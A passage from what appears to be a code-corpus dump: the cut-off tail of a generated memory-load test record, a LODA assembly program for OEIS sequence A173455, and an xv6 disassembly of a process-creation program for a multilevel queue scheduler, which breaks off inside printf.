'addresses_RW', 'AVXalign': False, 'congruent': 0, 'size': 1, 'same': True, 'NT': True}} <gen_prepare_buffer> {'OP': 'LOAD', 'src': {'type': 'addresses_WT_ht', 'AVXalign': True, 'congruent': 5, 'size': 1, 'same': False, 'NT': False}} {'32': 21829} 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 */
programs/oeis/173/A173455.asm
jmorken/loda
1
246271
<filename>programs/oeis/173/A173455.asm ; A173455: Row sums of triangle A027751. ; 1,1,1,3,1,6,1,7,4,8,1,16,1,10,9,15,1,21,1,22,11,14,1,36,6,16,13,28,1,42,1,31,15,20,13,55,1,22,17,50,1,54,1,40,33,26,1,76,8,43,21,46,1,66,17,64,23,32,1,108,1,34,41,63,19,78,1,58,27,74,1,123,1,40,49,64,19,90,1,106,40,44,1,140,23,46,33,92,1,144,21,76,35,50,25,156,1,73,57,117,1,114,1,106,87,56,1,172,1,106,41,136,1,126,29,94,65,62,25,240,12,64,45,100,31,186,1,127,47,122,1,204,27,70,105,134,1,150,1,196,51,74,25,259,35,76,81,118,1,222,1,148,81,134,37,236,1,82,57,218,31,201,1,130,123,86,1,312,14,154,89,136,1,186,73,196,63,92,1,366,1,154,65,176,43,198,29,148,131,170,1,316,1,100,141,203,1,270,1,265,71,104,37,300,47,106,105,226,31,366,1,166,75,110,49,384,39,112,77,284,31,234,1,280,178,116,1,332,1,202,153,218,1,312,53,184,83,194,1,504,1,157,121,190,97,258,33,232,87,218 mov $3,2 mov $5,$0 lpb $3 mov $0,$5 sub $3,1 add $0,$3 sub $0,1 cal $0,244049 ; Sum of all proper divisors of all positive integers <= n. mov $2,$3 mov $4,$0 mul $4,2 mov $6,$4 lpb $2 mov $1,$6 sub $2,1 lpe lpe lpb $5 sub $1,$6 mov $5,0 lpe div $1,2 add $1,1
create_proc.asm
Utkarsh1125/MultilevelQueueSchedulerXV6
1
167698
<reponame>Utkarsh1125/MultilevelQueueSchedulerXV6 _create_proc: file format elf32-i386 Disassembly of section .text: 00000000 <main>: #include "types.h" #include "stat.h" #include "user.h" #include "fcntl.h" int main(int argc, char *argv[]){ 0: 8d 4c 24 04 lea 0x4(%esp),%ecx 4: 83 e4 f0 and $0xfffffff0,%esp 7: ff 71 fc pushl -0x4(%ecx) a: 55 push %ebp b: 89 e5 mov %esp,%ebp d: 57 push %edi e: 56 push %esi f: 53 push %ebx 10: 51 push %ecx 11: 83 ec 18 sub $0x18,%esp 14: 8b 19 mov (%ecx),%ebx 16: 8b 71 04 mov 0x4(%ecx),%esi int i, num, pid; double sum = 0, j, step; if(argc < 2) 19: 83 fb 01 cmp $0x1,%ebx 1c: 7f 7f jg 9d <main+0x9d> num = atoi(argv[1]); //from command line if (num < 0 || num > 20) num = 2; if (argc < 3) step = 0.1; 1e: dd 05 80 08 00 00 fldl 0x880 num = 1; //default value 24: bf 01 00 00 00 mov $0x1,%edi step = 0.1; 29: dd 5d e0 fstpl -0x20(%ebp) num = 1; //default value 2c: 31 db xor %ebx,%ebx 2e: eb 37 jmp 67 <main+0x67> pid = fork(); if(pid < 0){ printf(1, "%d failed in fork!\n",getpid()); } else if(pid > 0){ 30: 0f 84 a7 00 00 00 je dd <main+0xdd> printf(1, "Parent %d creating child %d\n", getpid(), pid); 36: e8 d7 03 00 00 call 412 <getpid> 3b: 56 push %esi 3c: 50 push %eax for(i = 0; i < num; i++){ 3d: 83 c3 01 add $0x1,%ebx printf(1, "Parent %d creating child %d\n", getpid(), pid); 40: 68 4c 08 00 00 push $0x84c 45: 6a 01 push $0x1 47: e8 94 04 00 00 call 4e0 <printf> chngpr(getpid(), 3); 4c: e8 c1 03 00 00 call 412 <getpid> 51: 5e pop %esi 52: 5a pop %edx 53: 6a 03 push $0x3 55: 50 push %eax 56: e8 d7 03 00 00 call 432 <chngpr> wait(); 5b: e8 3a 03 00 00 call 39a <wait> 60: 83 c4 10 add $0x10,%esp for(i = 0; i < num; i++){ 63: 39 fb cmp %edi,%ebx 65: 7d 31 jge 98 <main+0x98> pid = fork(); 67: e8 1e 03 00 00 call 38a <fork> if(pid < 0){ 6c: 85 c0 test %eax,%eax pid = fork(); 6e: 89 c6 mov %eax,%esi if(pid < 0){ 70: 79 be jns 30 <main+0x30> printf(1, "%d failed in fork!\n",getpid()); 72: e8 9b 03 00 00 call 412 <getpid> 77: 83 ec 04 sub $0x4,%esp for(i = 0; i < num; i++){ 7a: 83 c3 01 add $0x1,%ebx printf(1, "%d failed in fork!\n",getpid()); 7d: 50 push %eax 7e: 68 38 08 00 00 push $0x838 83: 6a 01 push $0x1 85: e8 56 04 00 00 call 4e0 <printf> 8a: 83 c4 10 add $0x10,%esp for(i = 0; i < num; i++){ 8d: 39 fb cmp %edi,%ebx 8f: 7c d6 jl 67 <main+0x67> 91: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi sum = sum + 3.14 * 97.689; break; } } exit(); 98: e8 f5 02 00 00 call 392 <exit> num = atoi(argv[1]); //from command line 9d: 83 ec 0c sub $0xc,%esp a0: ff 76 04 pushl 0x4(%esi) a3: e8 78 02 00 00 call 320 <atoi> if (num < 0 || num > 20) a8: 83 c4 10 add $0x10,%esp ab: 83 f8 14 cmp $0x14,%eax num = atoi(argv[1]); //from command line ae: 89 c7 mov %eax,%edi if (num < 0 || num > 20) b0: 76 7d jbe 12f <main+0x12f> if (argc < 3) b2: 83 fb 02 cmp $0x2,%ebx b5: 7e 65 jle 11c <main+0x11c> num = 2; b7: bf 02 00 00 00 mov $0x2,%edi step = atoi(argv[2]); //from command line bc: 83 ec 0c sub $0xc,%esp bf: ff 76 08 pushl 0x8(%esi) c2: e8 59 02 00 00 call 320 <atoi> c7: 89 45 e0 mov %eax,-0x20(%ebp) ca: 83 c4 10 add $0x10,%esp cd: db 45 e0 fildl -0x20(%ebp) d0: dd 5d e0 fstpl -0x20(%ebp) for(i = 0; i < num; i++){ d3: 85 ff test %edi,%edi d5: 0f 85 51 ff ff ff jne 2c <main+0x2c> db: eb bb jmp 98 <main+0x98> printf(1, "Child %d created\n", getpid()); dd: e8 30 03 00 00 call 412 <getpid> e2: 52 push %edx e3: 50 push %eax e4: 68 69 08 00 00 push $0x869 e9: 6a 01 push $0x1 eb: e8 f0 03 00 00 call 4e0 <printf> chngpr(getpid(), 3); f0: e8 1d 03 00 00 call 412 <getpid> f5: 59 pop %ecx f6: 5b pop %ebx f7: 6a 03 push $0x3 f9: 50 push %eax fa: e8 33 03 00 00 call 432 <chngpr> for(j = 0; j < 9000000.0; j += step) ff: d9 ee fldz chngpr(getpid(), 3); 101: 83 c4 10 add $0x10,%esp 104: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi for(j = 0; j < 9000000.0; j += step) 108: dc 45 e0 faddl -0x20(%ebp) 10b: d9 05 88 08 00 00 flds 0x888 111: df e9 fucomip %st(1),%st 113: 77 f3 ja 108 <main+0x108> 115: dd d8 fstp %st(0) 117: e9 7c ff ff ff jmp 98 <main+0x98> step = 0.1; 11c: dd 05 80 08 00 00 fldl 0x880 num = 2; 122: bf 02 00 00 00 mov $0x2,%edi step = 0.1; 127: dd 5d e0 fstpl -0x20(%ebp) 12a: e9 fd fe ff ff jmp 2c <main+0x2c> if (argc < 3) 12f: 83 fb 02 cmp $0x2,%ebx 132: 75 88 jne bc <main+0xbc> step = 0.1; 134: dd 05 80 08 00 00 fldl 0x880 13a: dd 5d e0 fstpl -0x20(%ebp) 13d: eb 94 jmp d3 <main+0xd3> 13f: 90 nop 00000140 <strcpy>: #include "user.h" #include "x86.h" char* strcpy(char *s, const char *t) { 140: 55 push %ebp 141: 89 e5 mov %esp,%ebp 143: 53 push %ebx 144: 8b 45 08 mov 0x8(%ebp),%eax 147: 8b 4d 0c mov 0xc(%ebp),%ecx char *os; os = s; while((*s++ = *t++) != 0) 14a: 89 c2 mov %eax,%edx 14c: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi 150: 83 c1 01 add $0x1,%ecx 153: 0f b6 59 ff movzbl -0x1(%ecx),%ebx 157: 83 c2 01 add $0x1,%edx 15a: 84 db test %bl,%bl 15c: 88 5a ff mov %bl,-0x1(%edx) 15f: 75 ef jne 150 <strcpy+0x10> ; return os; } 161: 5b pop %ebx 162: 5d pop %ebp 163: c3 ret 164: 8d b6 00 00 00 00 lea 0x0(%esi),%esi 16a: 8d bf 00 00 00 00 lea 0x0(%edi),%edi 00000170 <strcmp>: int strcmp(const char *p, const char *q) { 170: 55 push %ebp 171: 89 e5 mov %esp,%ebp 173: 53 push %ebx 174: 8b 55 08 mov 0x8(%ebp),%edx 177: 8b 4d 0c mov 0xc(%ebp),%ecx while(*p && *p == *q) 17a: 0f b6 02 movzbl (%edx),%eax 17d: 0f b6 19 movzbl (%ecx),%ebx 180: 84 c0 test %al,%al 182: 75 1c jne 1a0 <strcmp+0x30> 184: eb 2a jmp 1b0 <strcmp+0x40> 186: 8d 76 00 lea 0x0(%esi),%esi 189: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi p++, q++; 190: 83 c2 01 add $0x1,%edx while(*p && *p == *q) 193: 0f b6 02 movzbl (%edx),%eax p++, q++; 196: 83 c1 01 add $0x1,%ecx 199: 0f b6 19 movzbl (%ecx),%ebx while(*p && *p == *q) 19c: 84 c0 test %al,%al 19e: 74 10 je 1b0 <strcmp+0x40> 1a0: 38 d8 cmp %bl,%al 1a2: 74 ec je 190 <strcmp+0x20> return (uchar)*p - (uchar)*q; 1a4: 29 d8 sub %ebx,%eax } 1a6: 5b pop %ebx 1a7: 5d pop %ebp 1a8: c3 ret 1a9: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi 1b0: 31 c0 xor %eax,%eax return (uchar)*p - (uchar)*q; 1b2: 29 d8 sub %ebx,%eax } 1b4: 5b pop %ebx 1b5: 5d pop %ebp 1b6: c3 ret 1b7: 89 f6 mov %esi,%esi 1b9: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi 000001c0 <strlen>: uint strlen(const char *s) { 1c0: 55 push %ebp 1c1: 89 e5 mov %esp,%ebp 1c3: 8b 4d 08 mov 0x8(%ebp),%ecx int n; for(n = 0; s[n]; n++) 1c6: 80 39 00 cmpb $0x0,(%ecx) 1c9: 74 15 je 1e0 <strlen+0x20> 1cb: 31 d2 xor %edx,%edx 1cd: 8d 76 00 lea 0x0(%esi),%esi 1d0: 83 c2 01 add $0x1,%edx 1d3: 80 3c 11 00 cmpb $0x0,(%ecx,%edx,1) 1d7: 89 d0 mov %edx,%eax 1d9: 75 f5 jne 1d0 <strlen+0x10> ; return n; } 1db: 5d pop %ebp 1dc: c3 ret 1dd: 8d 76 00 lea 0x0(%esi),%esi for(n = 0; s[n]; n++) 1e0: 31 c0 xor %eax,%eax } 1e2: 5d pop %ebp 1e3: c3 ret 1e4: 8d b6 00 00 00 00 lea 0x0(%esi),%esi 1ea: 8d bf 00 00 00 00 lea 0x0(%edi),%edi 000001f0 <memset>: void* memset(void *dst, int c, uint n) { 1f0: 55 push %ebp 1f1: 89 e5 mov %esp,%ebp 1f3: 57 push %edi 1f4: 8b 55 08 mov 0x8(%ebp),%edx } static inline void stosb(void *addr, int data, int cnt) { asm volatile("cld; rep stosb" : 1f7: 8b 4d 10 mov 0x10(%ebp),%ecx 1fa: 8b 45 0c mov 0xc(%ebp),%eax 1fd: 89 d7 mov %edx,%edi 1ff: fc cld 200: f3 aa rep stos %al,%es:(%edi) stosb(dst, c, n); return dst; } 202: 89 d0 mov %edx,%eax 204: 5f pop %edi 205: 5d pop %ebp 206: c3 ret 207: 89 f6 mov %esi,%esi 209: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi 00000210 <strchr>: char* strchr(const char *s, char c) { 210: 55 push %ebp 211: 89 e5 mov %esp,%ebp 213: 53 push %ebx 214: 8b 45 08 mov 0x8(%ebp),%eax 217: 8b 5d 0c mov 0xc(%ebp),%ebx for(; *s; s++) 21a: 0f b6 10 movzbl (%eax),%edx 21d: 84 d2 test %dl,%dl 21f: 74 1d je 23e <strchr+0x2e> if(*s == c) 221: 38 d3 cmp %dl,%bl 223: 89 d9 mov %ebx,%ecx 225: 75 0d jne 234 <strchr+0x24> 227: eb 17 jmp 240 <strchr+0x30> 229: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi 230: 38 ca cmp %cl,%dl 232: 74 0c je 240 <strchr+0x30> for(; *s; s++) 234: 83 c0 01 add $0x1,%eax 237: 0f b6 10 movzbl (%eax),%edx 23a: 84 d2 test %dl,%dl 23c: 75 f2 jne 230 <strchr+0x20> return (char*)s; return 0; 23e: 31 c0 xor %eax,%eax } 240: 5b pop %ebx 241: 5d pop %ebp 242: c3 ret 243: 8d b6 00 00 00 00 lea 0x0(%esi),%esi 249: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi 00000250 <gets>: char* gets(char *buf, int max) { 250: 55 push %ebp 251: 89 e5 mov %esp,%ebp 253: 57 push %edi 254: 56 push %esi 255: 53 push %ebx int i, cc; char c; for(i=0; i+1 < max; ){ 256: 31 f6 xor %esi,%esi 258: 89 f3 mov %esi,%ebx { 25a: 83 ec 1c sub $0x1c,%esp 25d: 8b 7d 08 mov 0x8(%ebp),%edi for(i=0; i+1 < max; ){ 260: eb 2f jmp 291 <gets+0x41> 262: 8d b6 00 00 00 00 lea 0x0(%esi),%esi cc = read(0, &c, 1); 268: 8d 45 e7 lea -0x19(%ebp),%eax 26b: 83 ec 04 sub $0x4,%esp 26e: 6a 01 push $0x1 270: 50 push %eax 271: 6a 00 push $0x0 273: e8 32 01 00 00 call 3aa <read> if(cc < 1) 278: 83 c4 10 add $0x10,%esp 27b: 85 c0 test %eax,%eax 27d: 7e 1c jle 29b <gets+0x4b> break; buf[i++] = c; 27f: 0f b6 45 e7 movzbl -0x19(%ebp),%eax 283: 83 c7 01 add $0x1,%edi 286: 88 47 ff mov %al,-0x1(%edi) if(c == '\n' || c == '\r') 289: 3c 0a cmp $0xa,%al 28b: 74 23 je 2b0 <gets+0x60> 28d: 3c 0d cmp $0xd,%al 28f: 74 1f je 2b0 <gets+0x60> for(i=0; i+1 < max; ){ 291: 83 c3 01 add $0x1,%ebx 294: 3b 5d 0c cmp 0xc(%ebp),%ebx 297: 89 fe mov %edi,%esi 299: 7c cd jl 268 <gets+0x18> 29b: 89 f3 mov %esi,%ebx break; } buf[i] = '\0'; return buf; } 29d: 8b 45 08 mov 0x8(%ebp),%eax buf[i] = '\0'; 2a0: c6 03 00 movb $0x0,(%ebx) } 2a3: 8d 65 f4 lea -0xc(%ebp),%esp 2a6: 5b pop %ebx 2a7: 5e pop %esi 2a8: 5f pop %edi 2a9: 5d pop %ebp 2aa: c3 ret 2ab: 90 nop 2ac: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi 2b0: 8b 75 08 mov 0x8(%ebp),%esi 2b3: 8b 45 08 mov 0x8(%ebp),%eax 2b6: 01 de add %ebx,%esi 2b8: 89 f3 mov %esi,%ebx buf[i] = '\0'; 2ba: c6 03 00 movb $0x0,(%ebx) } 2bd: 8d 65 f4 lea -0xc(%ebp),%esp 2c0: 5b pop %ebx 2c1: 5e pop %esi 2c2: 5f pop %edi 2c3: 5d pop %ebp 2c4: c3 ret 2c5: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi 2c9: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi 000002d0 <stat>: int stat(const char *n, struct stat *st) { 2d0: 55 push %ebp 2d1: 89 e5 mov %esp,%ebp 2d3: 56 push %esi 2d4: 53 push %ebx int fd; int r; fd = open(n, O_RDONLY); 2d5: 83 ec 08 sub $0x8,%esp 2d8: 6a 00 push $0x0 2da: ff 75 08 pushl 0x8(%ebp) 2dd: e8 f0 00 00 00 call 3d2 <open> if(fd < 0) 2e2: 83 c4 10 add $0x10,%esp 2e5: 85 c0 test %eax,%eax 2e7: 78 27 js 310 <stat+0x40> return -1; r = fstat(fd, st); 2e9: 83 ec 08 sub $0x8,%esp 2ec: ff 75 0c pushl 0xc(%ebp) 2ef: 89 c3 mov %eax,%ebx 2f1: 50 push %eax 2f2: e8 f3 00 00 00 call 3ea <fstat> close(fd); 2f7: 89 1c 24 mov %ebx,(%esp) r = fstat(fd, st); 2fa: 89 c6 mov %eax,%esi close(fd); 2fc: e8 b9 00 00 00 call 3ba <close> return r; 301: 83 c4 10 add $0x10,%esp } 304: 8d 65 f8 lea -0x8(%ebp),%esp 307: 89 f0 mov %esi,%eax 309: 5b pop %ebx 30a: 5e pop %esi 30b: 5d pop %ebp 30c: c3 ret 30d: 8d 76 00 lea 0x0(%esi),%esi return -1; 310: be ff ff ff ff mov $0xffffffff,%esi 315: eb ed jmp 304 <stat+0x34> 317: 89 f6 mov %esi,%esi 319: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi 00000320 <atoi>: int atoi(const char *s) { 320: 55 push %ebp 321: 89 e5 mov %esp,%ebp 323: 53 push %ebx 324: 8b 4d 08 mov 0x8(%ebp),%ecx int n; n = 0; while('0' <= *s && *s <= '9') 327: 0f be 11 movsbl (%ecx),%edx 32a: 8d 42 d0 lea -0x30(%edx),%eax 32d: 3c 09 cmp $0x9,%al n = 0; 32f: b8 00 00 00 00 mov $0x0,%eax while('0' <= *s && *s <= '9') 334: 77 1f ja 355 <atoi+0x35> 336: 8d 76 00 lea 0x0(%esi),%esi 339: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi n = n*10 + *s++ - '0'; 340: 8d 04 80 lea (%eax,%eax,4),%eax 343: 83 c1 01 add $0x1,%ecx 346: 8d 44 42 d0 lea -0x30(%edx,%eax,2),%eax while('0' <= *s && *s <= '9') 34a: 0f be 11 movsbl (%ecx),%edx 34d: 8d 5a d0 lea -0x30(%edx),%ebx 350: 80 fb 09 cmp $0x9,%bl 353: 76 eb jbe 340 <atoi+0x20> return n; } 355: 5b pop %ebx 356: 5d pop %ebp 357: c3 ret 358: 90 nop 359: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi 00000360 <memmove>: void* memmove(void *vdst, const void *vsrc, int n) { 360: 55 push %ebp 361: 89 e5 mov %esp,%ebp 363: 56 push %esi 364: 53 push %ebx 365: 8b 5d 10 mov 0x10(%ebp),%ebx 368: 8b 45 08 mov 0x8(%ebp),%eax 36b: 8b 75 0c mov 0xc(%ebp),%esi char *dst; const char *src; dst = vdst; src = vsrc; while(n-- > 0) 36e: 85 db test %ebx,%ebx 370: 7e 14 jle 386 <memmove+0x26> 372: 31 d2 xor %edx,%edx 374: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi *dst++ = *src++; 378: 0f b6 0c 16 movzbl (%esi,%edx,1),%ecx 37c: 88 0c 10 mov %cl,(%eax,%edx,1) 37f: 83 c2 01 add $0x1,%edx while(n-- > 0) 382: 39 d3 cmp %edx,%ebx 384: 75 f2 jne 378 <memmove+0x18> return vdst; } 386: 5b pop %ebx 387: 5e pop %esi 388: 5d pop %ebp 389: c3 ret 0000038a <fork>: name: \ movl $SYS_ ## name, %eax; \ int $T_SYSCALL; \ ret SYSCALL(fork) 38a: b8 01 00 00 00 mov $0x1,%eax 38f: cd 40 int $0x40 391: c3 ret 00000392 <exit>: SYSCALL(exit) 392: b8 02 00 00 00 mov $0x2,%eax 397: cd 40 int $0x40 399: c3 ret 0000039a <wait>: SYSCALL(wait) 39a: b8 03 00 00 00 mov $0x3,%eax 39f: cd 40 int $0x40 3a1: c3 ret 000003a2 <pipe>: SYSCALL(pipe) 3a2: b8 04 00 00 00 mov $0x4,%eax 3a7: cd 40 int $0x40 3a9: c3 ret 000003aa <read>: SYSCALL(read) 3aa: b8 05 00 00 00 mov $0x5,%eax 3af: cd 40 int $0x40 3b1: c3 ret 000003b2 <write>: SYSCALL(write) 3b2: b8 10 00 00 00 mov $0x10,%eax 3b7: cd 40 int $0x40 3b9: c3 ret 000003ba <close>: SYSCALL(close) 3ba: b8 15 00 00 00 mov $0x15,%eax 3bf: cd 40 int $0x40 3c1: c3 ret 000003c2 <kill>: SYSCALL(kill) 3c2: b8 06 00 00 00 mov $0x6,%eax 3c7: cd 40 int $0x40 3c9: c3 ret 000003ca <exec>: SYSCALL(exec) 3ca: b8 07 00 00 00 mov $0x7,%eax 3cf: cd 40 int $0x40 3d1: c3 ret 000003d2 <open>: SYSCALL(open) 3d2: b8 0f 00 00 00 mov $0xf,%eax 3d7: cd 40 int $0x40 3d9: c3 ret 000003da <mknod>: SYSCALL(mknod) 3da: b8 11 00 00 00 mov $0x11,%eax 3df: cd 40 int $0x40 3e1: c3 ret 000003e2 <unlink>: SYSCALL(unlink) 3e2: b8 12 00 00 00 mov $0x12,%eax 3e7: cd 40 int $0x40 3e9: c3 ret 000003ea <fstat>: SYSCALL(fstat) 3ea: b8 08 00 00 00 mov $0x8,%eax 3ef: cd 40 int $0x40 3f1: c3 ret 000003f2 <link>: SYSCALL(link) 3f2: b8 13 00 00 00 mov $0x13,%eax 3f7: cd 40 int $0x40 3f9: c3 ret 000003fa <mkdir>: SYSCALL(mkdir) 3fa: b8 14 00 00 00 mov $0x14,%eax 3ff: cd 40 int $0x40 401: c3 ret 00000402 <chdir>: SYSCALL(chdir) 402: b8 09 00 00 00 mov $0x9,%eax 407: cd 40 int $0x40 409: c3 ret 0000040a <dup>: SYSCALL(dup) 40a: b8 0a 00 00 00 mov $0xa,%eax 40f: cd 40 int $0x40 411: c3 ret 00000412 <getpid>: SYSCALL(getpid) 412: b8 0b 00 00 00 mov $0xb,%eax 417: cd 40 int $0x40 419: c3 ret 0000041a <sbrk>: SYSCALL(sbrk) 41a: b8 0c 00 00 00 mov $0xc,%eax 41f: cd 40 int $0x40 421: c3 ret 00000422 <sleep>: SYSCALL(sleep) 422: b8 0d 00 00 00 mov $0xd,%eax 427: cd 40 int $0x40 429: c3 ret 0000042a <uptime>: SYSCALL(uptime) 42a: b8 0e 00 00 00 mov $0xe,%eax 42f: cd 40 int $0x40 431: c3 ret 00000432 <chngpr>: SYSCALL(chngpr) 432: b8 16 00 00 00 mov $0x16,%eax 437: cd 40 int $0x40 439: c3 ret 43a: 66 90 xchg %ax,%ax 43c: 66 90 xchg %ax,%ax 43e: 66 90 xchg %ax,%ax 00000440 <printint>: write(fd, &c, 1); } static void printint(int fd, int xx, int base, int sgn) { 440: 55 push %ebp 441: 89 e5 mov %esp,%ebp 443: 57 push %edi 444: 56 push %esi 445: 53 push %ebx 446: 83 ec 3c sub $0x3c,%esp char buf[16]; int i, neg; uint x; neg = 0; if(sgn && xx < 0){ 449: 85 d2 test %edx,%edx { 44b: 89 45 c0 mov %eax,-0x40(%ebp) neg = 1; x = -xx; 44e: 89 d0 mov %edx,%eax if(sgn && xx < 0){ 450: 79 76 jns 4c8 <printint+0x88> 452: f6 45 08 01 testb $0x1,0x8(%ebp) 456: 74 70 je 4c8 <printint+0x88> x = -xx; 458: f7 d8 neg %eax neg = 1; 45a: c7 45 c4 01 00 00 00 movl $0x1,-0x3c(%ebp) } else { x = xx; } i = 0; 461: 31 f6 xor %esi,%esi 463: 8d 5d d7 lea -0x29(%ebp),%ebx 466: eb 0a jmp 472 <printint+0x32> 468: 90 nop 469: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi do{ buf[i++] = digits[x % base]; 470: 89 fe mov %edi,%esi 472: 31 d2 xor %edx,%edx 474: 8d 7e 01 lea 0x1(%esi),%edi 477: f7 f1 div %ecx 479: 0f b6 92 94 08 00 00 movzbl 0x894(%edx),%edx }while((x /= base) != 0); 480: 85 c0 test %eax,%eax buf[i++] = digits[x % base]; 482: 88 14 3b mov %dl,(%ebx,%edi,1) }while((x /= base) != 0); 485: 75 e9 jne 470 <printint+0x30> if(neg) 487: 8b 45 c4 mov -0x3c(%ebp),%eax 48a: 85 c0 test %eax,%eax 48c: 74 08 je 496 <printint+0x56> buf[i++] = '-'; 48e: c6 44 3d d8 2d movb $0x2d,-0x28(%ebp,%edi,1) 493: 8d 7e 02 lea 0x2(%esi),%edi 496: 8d 74 3d d7 lea -0x29(%ebp,%edi,1),%esi 49a: 8b 7d c0 mov -0x40(%ebp),%edi 49d: 8d 76 00 lea 0x0(%esi),%esi 4a0: 0f b6 06 movzbl (%esi),%eax write(fd, &c, 1); 4a3: 83 ec 04 sub $0x4,%esp 4a6: 83 ee 01 sub $0x1,%esi 4a9: 6a 01 push $0x1 4ab: 53 push %ebx 4ac: 57 push %edi 4ad: 88 45 d7 mov %al,-0x29(%ebp) 4b0: e8 fd fe ff ff call 3b2 <write> while(--i >= 0) 4b5: 83 c4 10 add $0x10,%esp 4b8: 39 de cmp %ebx,%esi 4ba: 75 e4 jne 4a0 <printint+0x60> putc(fd, buf[i]); } 4bc: 8d 65 f4 lea -0xc(%ebp),%esp 4bf: 5b pop %ebx 4c0: 5e pop %esi 4c1: 5f pop %edi 4c2: 5d pop %ebp 4c3: c3 ret 4c4: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi neg = 0; 4c8: c7 45 c4 00 00 00 00 movl $0x0,-0x3c(%ebp) 4cf: eb 90 jmp 461 <printint+0x21> 4d1: eb 0d jmp 4e0 <printf> 4d3: 90 nop 4d4: 90 nop 4d5: 90 nop 4d6: 90 nop 4d7: 90 nop 4d8: 90 nop 4d9: 90 nop 4da: 90 nop 4db: 90 nop 4dc: 90 nop 4dd: 90 nop 4de: 90 nop 4df: 90 nop 000004e0 <printf>: // Print to the given fd. Only understands %d, %x, %p, %s. void printf(int fd, const char *fmt, ...) { 4e0: 55 push %ebp 4e1: 89 e5 mov %esp,%ebp 4e3: 57 push %edi 4e4: 56 push %esi 4e5: 53 push %ebx 4e6: 83 ec 2c sub $0x2c,%esp int c, i, state; uint *ap; 